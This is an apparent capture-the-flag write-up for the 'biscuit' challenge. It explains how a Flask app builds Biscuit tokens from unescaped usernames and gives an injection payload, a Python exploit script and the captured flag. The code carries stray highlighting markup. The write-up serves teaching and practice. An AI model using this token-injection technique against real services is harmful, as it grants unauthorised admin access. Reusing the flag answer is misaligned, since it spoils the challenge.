biscuit
Challenge
Hello world! italics bold
Endpoint: https://<instance>.play.gaslightctf.cooking:1337
Source: biscuit.tar.zst
A Flask app that uses Biscuit authorization tokens for authentication. The
flag is only rendered at /flag when the token carries a role("admin") fact.
Source analysis
COOKIE = class="hljs-string">"biscuit"
root = KeyPair() # fresh per process
def mint(username: str) -> str:
builder = BiscuitBuilder(
fclass="hljs-string">"""
user(class="hljs-string">"{username}");
check if user($u), $u.length() > 0;
class="hljs-string">""",
)
if username == class="hljs-string">"webmaster":
builder.add_fact(Fact(class="hljs-string">'role(class="hljs-string">"admin")'))
return builder.build(root.private_key).to_base64()mint interpolates the raw username into the token's authority block
with no escaping. The token is validly signed by the server, so whatever is in
that block becomes trusted token facts.
def _authorize(policy: str) -> str | None:
token = request.cookies.get(COOKIE)
...
biscuit = Biscuit.from_base64(token, root.public_key)
authorizer = Authorizer(policy)
authorizer.add_token(biscuit)
authorizer.authorize()
facts = authorizer.query(Rule(class="hljs-string">"u($u) <- user($u)"))
...
username = facts[0].terms[0] # username taken straight from the token
return usernamecurrent_user() uses policy allow if user($u); and current_admin() uses
allow if user($u), role("admin");. Both read facts from the client-supplied
token. The only way to get role("admin") is to be webmaster... or inject it.
Exploit: username injection
Sign up with a username that closes the injected user("...") statement and
adds its own role("admin") fact before a valid user(...) fact that satisfies
the length check:
evil"); role("admin"); user("xLength 30 (limit is 32). The minted authority block becomes:
user("evil"); role("admin"); user("x");
check if user($u), $u.length() > 0;Both user("evil") and user("x") have length > 0, so the token's check
passes, and the role("admin") fact makes current_admin() succeed.
import requests, urllib3, re
urllib3.disable_warnings()
BASE = class="hljs-string">"https://<instance>.play.gaslightctf.cooking:1337"
s = requests.Session()
s.verify = False
inj = class="hljs-string">'evilclass="hljs-string">"); role("adminclass="hljs-string">"); user("x'
s.post(BASE + class="hljs-string">"/signup", data={class="hljs-string">"username": inj, class="hljs-string">"password": class="hljs-string">"pw"}) # sets biscuit cookie
r = s.get(BASE + class="hljs-string">"/flag")
print(re.search(rclass="hljs-string">"gaslightCTF\{[^}]+\}", r.text).group(0))Flag
gaslightCTF{d3f1nit3ly_a_cak3_f0r_l3g4l_r34s0n5_8d447ff9c22c}